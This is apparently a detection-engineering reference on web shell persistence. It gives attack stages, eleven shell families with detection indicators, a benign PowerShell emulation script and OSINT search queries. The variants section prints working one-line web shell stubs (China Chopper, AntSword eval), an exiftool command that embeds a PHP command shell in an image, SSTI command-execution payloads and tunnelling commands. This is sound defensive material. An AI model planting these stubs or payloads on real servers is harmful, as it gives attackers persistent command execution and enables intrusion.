Web Shell Persistence
Adversaries plant web-accessible scripts (web shells) on compromised servers to maintain persistent command execution via HTTP/HTTPS. Web shells are deployed in virtually every major web-facing compromise, appearing in 35% of Q4 2024 IR incidents (Cisco Talos) and serving as the primary persistence mechanism in ProxyLogon, ProxyShell, MOVEit, Barracuda ESG, and Ivanti zero-day campaigns. Despite diversity in language (PHP/ASP.NET/JSP/Python), encoding (base64, XOR, gzinflate, multi-layer), and evasion technique (polyglot files, fileless IIS modules, steganography), the chokepoint is invariant: the web server process must execute attacker-controlled OS commands by spawning a child interpreter, and that parent-child relationship is always kernel-observable regardless of obfuscation. The ShellForge paper (arXiv 2601.22182) demonstrated that adversarially generated webshells achieve 93.9% evasion against VirusTotal commercial engines, validating that behavioral detection of process creation is essential over file-content scanning.
Attack Chokepoints 3 invariant stages
Each stage is an invariant condition the attacker must satisfy, regardless of tool, variant, or threat actor. Detection at any stage breaks the chain.
1 Shell Deployment ▶
- Write access to a web-accessible directory on the target server (via file upload, path traversal, CVE exploitation, or CMS compromise)
- OR ability to modify web server configuration (for IIS native module approach)
- Web server must execute the shell's scripting language (PHP, ASP.NET, JSP, etc.)
- HTTP/HTTPS access to the deployed shell from attacker infrastructure
- Server must have OS command execution capability (not hardened to deny shell spawning)
- Sysmon Event ID 11 (File Created)
- IIS / Apache / Nginx access logs
2 Shell Execution ▶
- Sysmon Event ID 1 (Process Creation)
- Windows Security Event ID 4688 (Process Creation)
3 Command Execution / Exfiltration ▶
- Sysmon Event ID 1 (Process Creation with CommandLine)
- Sysmon Event ID 3 (Network Connection)
Variations 11 variants tracked
Tools and methods that exploit this chokepoint. The list grows. The chokepoint doesn't change.
China Chopper 2013 Active ▶
# Server stub (ASP.NET — one line):
<%@ Page Language="Jscript" %><%eval(Request.Item["password"],"unsafe");%>
# Server stub (PHP — one line):
<?php @eval($_POST['password']);?>
# Client sends POST with command in password parameter
- Sysmon EID 1: w3wp.exe spawning cmd.exe or powershell.exe
- Web logs: POST requests to small .aspx/.php files with base64 body
- Sysmon EID 11: Small script file written to web root
Godzilla 2020-Q4 Active ▶
# Server stub requires password AND encryption key:
# ASP.NET variant with AES-encrypted command execution:
string key = "3c6e0b8a9c15224a";
// AES-encrypted C2 traffic with dual-key auth
- Sysmon EID 1: w3wp.exe spawning cmd.exe (POST-triggered)
- Web logs: Encrypted POST bodies to .aspx/.jsp files
- Network: AES-encrypted HTTP traffic to single endpoint
Behinder (Ice Scorpion) 2020-Q1 Active ▶
# PHP server stub (AES-encrypted C2):
<?php @error_reporting(0);session_start();$key="e45e329feb5d925b";$_SESSION['k']=$key;...eval()...?>
# Default AES key: e45e329feb5d925b (MD5 of "rebeyond", first 16 chars)
# Client sends AES-encrypted commands
- Sysmon EID 1: w3wp.exe / httpd spawning cmd.exe or powershell.exe
- Web logs: POST requests with AES-encrypted bodies (no plaintext visible)
- Network: Randomized User-Agent strings per request from same source
AntSword 2019 Active ▶
# PHP server stub (minimal):
<?php @eval($_POST['ant']);?>
# Or obfuscated: <?php $V='ant';$$V=@$_POST[$V];eval($$V);?>
# Client sends base64-encoded PHP in POST parameter
- Sysmon EID 1: w3wp.exe / httpd spawning cmd.exe (POST-triggered)
- Web logs: POST with base64 body to small script file
Neo-reGeorg / reGeorg 2017 Active ▶
# HTTP tunnel — not for command execution but traffic proxying:
python3 neoreg.py generate -k <password>
python3 neoreg.py -k <password> -u http://target/tunnel.aspx -p 1080
# Creates SOCKS5 proxy on attacker localhost:1080
- Web logs: High volume of POST requests to single ASPX/PHP file
- Sysmon EID 3: w3wp.exe making connections to internal RFC1918 addresses
LEMURLOOT (MOVEit) 2023-Q2 Active ▶
# human2.aspx — masquerades as legitimate MOVEit file
# Accepts commands via X-siLock-Comment header
# Deployed via CVE-2023-34362 SQLi zero-day
- Sysmon EID 11: human2.aspx created in MOVEit web directory
- Sysmon EID 1: w3wp.exe spawning cmd.exe after POST to human2.aspx
- Web logs: Requests with X-siLock-Comment header containing commands
- SQL logs: Anomalous queries from MOVEit application
GLASSTOKEN / BUSHWALK (Ivanti) 2024-Q1 Active ▶
# BUSHWALK — Perl CGI on Ivanti Connect Secure:
# Deployed to /home/perl/DSLogConfig.pm
# GLASSTOKEN — Python CGI on Ivanti:
# Injected into legitimate Python CGI files
# Uses Ivanti's built-in Perl/Python environments
- Ivanti logs: Anomalous CGI execution in /home/perl/ or /home/python/
- File integrity: Modified .pm or .py files in Ivanti web directories
SALTWATER / SEASPY (Barracuda ESG) 2023-Q2 Active ▶
# SALTWATER — trojanized Barracuda SMTP daemon module
# SEASPY — passive backdoor monitoring port 25, activates on magic packet
# Both persist across firmware updates via modified /etc/init.d/
- File integrity: Modified modules in Barracuda firmware directories
- Network: Anomalous SMTP traffic patterns on port 25
- Process: Unexpected child processes from Barracuda SMTP daemon
Fileless IIS Native Modules 2022-Q1 Active ▶
# Installed as native IIS module (C++ DLL):
appcmd.exe install module /name:"MyModule" /image:"C:\path\to\malicious.dll"
# Or via web.config: <modules><add name="MyModule" .../></modules>
# No script file on disk — runs in-process with w3wp.exe
- Sysmon EID 7: Unusual DLL loaded by w3wp.exe
- IIS logs: appcmd.exe install module commands
- Registry: New modules in HKLM\SOFTWARE\Microsoft\InetSrv\Modules
Polyglot / Steganographic Shells 2020-Q1 Active ▶
# PHP embedded in image EXIF metadata:
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg
# Accessed via LFI: http://target/uploads/image.jpg?cmd=whoami
- Sysmon EID 11: Image file uploaded to web root with PHP magic bytes
- Web logs: GET/POST to image files with query parameters
- Sysmon EID 1: httpd/php-fpm spawning cmd.exe after request to image
Server-Side Template Injection (SSTI) Webshells 2019 Active ▶
# Jinja2: {{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}
# Twig: {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("whoami")}}
# FreeMarker: <#assign ex="freemarker.template.utility.Execute"?new()>${ex("whoami")}
- Web logs: Template syntax in request parameters ({{ }}, <# >, etc.)
- Sysmon EID 1: Web server spawning cmd.exe/sh after template rendering
Detection Strategy
Rules organized by the chokepoint stage they detect. Each stage has one or more rules at different maturity levels.
Raw Log Samples 4 samples
Real-world log events produced by this technique and which Sigma rules they trigger.
EID 11 Sysmon ASPX web shell file created in IIS web root by non-deployment process ▶
EID 1 Sysmon cmd.exe spawned by w3wp.exe after HTTP request to the web shell ▶
EID 1 Sysmon PowerShell with encoded command spawned by w3wp.exe. Encoded web shell execution ▶
EID 3 Sysmon Outbound reverse shell / download connection from w3wp.exe child process ▶
Emulation
ATT&CK: T1505.003 Simulates web shell file creation, interpreter spawn with recon commands, and outbound connection powershell ▶
#Requires -Version 5.1
# MITRE ATT&CK: T1505.003 — Server Software Component: Web Shell
# Simulates web shell write to web root and subsequent command execution via HTTP.
[CmdletBinding()]
param(
[string]$WebRoot = (Join-Path $env:TEMP 'wwwroot-emulation'),
[string]$ShellExtension = '.aspx',
[switch]$CleanupOnly
)
Set-StrictMode -Version Latest
$ErrorActionPreference = 'Continue'
$ShellName = "cmd$(Get-Random -Maximum 9999)$ShellExtension"
$ShellPath = Join-Path $WebRoot $ShellName
$C2Endpoint = 'https://example.com'
function Write-Step ([string]$Msg) { Write-Host "[*] $Msg" -ForegroundColor Cyan }
function Write-Ok ([string]$Msg) { Write-Host "[+] $Msg" -ForegroundColor Green }
function Write-Warn ([string]$Msg) { Write-Host "[!] $Msg" -ForegroundColor Yellow }
function Remove-Artefacts {
if (Test-Path $ShellPath) { Remove-Item $ShellPath -Force -ErrorAction SilentlyContinue }
if (Test-Path $WebRoot -and (Get-ChildItem $WebRoot -ErrorAction SilentlyContinue).Count -eq 0) {
Remove-Item $WebRoot -Force -ErrorAction SilentlyContinue
}
Write-Ok "Artefacts removed"
}
if ($CleanupOnly) { Remove-Artefacts; exit 0 }
Write-Host ""
Write-Host "=== Web Shell Emulation ===" -ForegroundColor Magenta
Write-Host " T1505.003 | Detection Chokepoints Project" -ForegroundColor DarkGray
Write-Host ""
Write-Step "Step 1/3 — Creating web shell file in web-accessible directory"
Write-Verbose " Path: $ShellPath"
# Ensure web root exists
if (-not (Test-Path $WebRoot)) {
New-Item -ItemType Directory -Path $WebRoot -Force | Out-Null
Write-Ok "Created test web root: $WebRoot"
}
# Write a safe marker file (NOT an executable web shell — just text content)
$ShellContent = @"
<%@ Page Language="C#" %>
<!-- Web Shell Emulation Marker — NOT executable, for detection testing only -->
<!-- Created by Detection Chokepoints emulation script -->
<!-- T1505.003 — File created at: $(Get-Date -Format 'yyyy-MM-dd HH:mm:ss') -->
<% Response.Write("Detection test"); %>
"@
Set-Content -Path $ShellPath -Value $ShellContent -Encoding UTF8
Write-Ok "Web shell marker created: $ShellPath"
Write-Ok "Sysmon EID 11 generated — extension=$ShellExtension, path contains web root pattern"
Start-Sleep -Milliseconds 400
Write-Step "Step 2/3 — Simulating web server → cmd.exe execution chain"
Write-Verbose " Real pattern: w3wp.exe → cmd.exe (web server spawns interpreter after HTTP request)"
Write-Verbose " Simulated: powershell.exe → cmd.exe (same child process, different parent)"
Write-Verbose " Note: Hunt/Analyst rules check ParentImage=w3wp.exe specifically"
Write-Verbose " For w3wp parent: deploy in IIS and access via HTTP (see below)"
# Run recon commands that web shells execute post-exploitation
$reconCommands = @(
'whoami',
'hostname',
'ipconfig /all',
'net user',
'net localgroup administrators'
)
foreach ($cmd in $reconCommands) {
$result = cmd.exe /c $cmd 2>&1 | Select-Object -First 3
Write-Ok "cmd /c $cmd`: $($result[0])"
}
# Also run an encoded command (Analyst rule trigger)
$encodedPayload = [Convert]::ToBase64String(
[System.Text.Encoding]::Unicode.GetBytes('Get-ChildItem C:\inetpub\wwwroot -ErrorAction SilentlyContinue')
)
powershell.exe -NonInteractive -NoProfile -EncodedCommand $encodedPayload 2>&1 | Out-Null
Write-Ok "Encoded command executed from cmd context — Analyst rule EID 1 pattern matched"
Start-Sleep -Milliseconds 400
Write-Step "Step 3/3 — Outbound HTTP connection from spawned interpreter"
Write-Verbose " In real scenario: w3wp.exe child makes outbound connection to C2"
try {
$resp = Invoke-WebRequest -Uri $C2Endpoint -Method HEAD -TimeoutSec 10 `
-UseBasicParsing -ErrorAction Stop
Write-Ok "Outbound connection (HTTP $($resp.StatusCode)) from interpreter — Sysmon EID 3 generated"
} catch {
Write-Warn "Network request failed (EID 3 may still have fired for the TCP attempt): $_"
}
Write-Host ""
Write-Step "Cleaning up artefacts"
Remove-Artefacts
Write-Host ""
Write-Host "=== Emulation Complete ===" -ForegroundColor Magenta
Write-Host ""
Write-Host "Expected detections:" -ForegroundColor White
Write-Host " [Research] Sysmon EID 1 — any child process of web server" -ForegroundColor DarkCyan
Write-Host " [Hunt] EID 11 ($ShellExtension in web path) + EID 1 (cmd.exe/powershell.exe child)" -ForegroundColor DarkYellow
Write-Host " [Analyst] EID 11 (web shell ext) + EID 1 (-enc or recon cmd) + EID 3 (outbound)" -ForegroundColor DarkGreen
Write-Host ""
Write-Host "For w3wp.exe parent chain (IIS-specific Hunt/Analyst rules):" -ForegroundColor DarkGray
Write-Host " 1. Install IIS: Enable-WindowsOptionalFeature -Online -FeatureName IIS-WebServer"
Write-Host " 2. Copy shell marker to C:\inetpub\wwwroot\$ShellName"
Write-Host " 3. For ASPX execution: rename to .aspx, enable ASP.NET in IIS"
Write-Host " 4. Use a benign ASPX that runs: Response.Write(new System.Diagnostics.Process(){...}.StandardOutput.ReadToEnd())"
Write-Host " 5. HTTP request to http://localhost/$ShellName generates authentic w3wp.exe → cmd.exe"
Write-Host ""
Write-Host "For Linux (Apache/nginx) parent chain:" -ForegroundColor DarkGray
Write-Host " Use companion emulate.sh (spawn bash from httpd/nginx context via PHP)"
Write-Host ""
OSINT Pivots
http.title:"WSO" OR http.title:"b374k" OR http.title:"c99" OR http.title:"FilesMan" OR http.title:"Antak Webshell"
page.title:"WSO" OR filename:shell.php OR filename:webshell.php OR filename:cmd.aspx
tag:webshell positives:0 type:text
services.http.response.body: "eval(base64_decode" and services.http.response.status_code: 200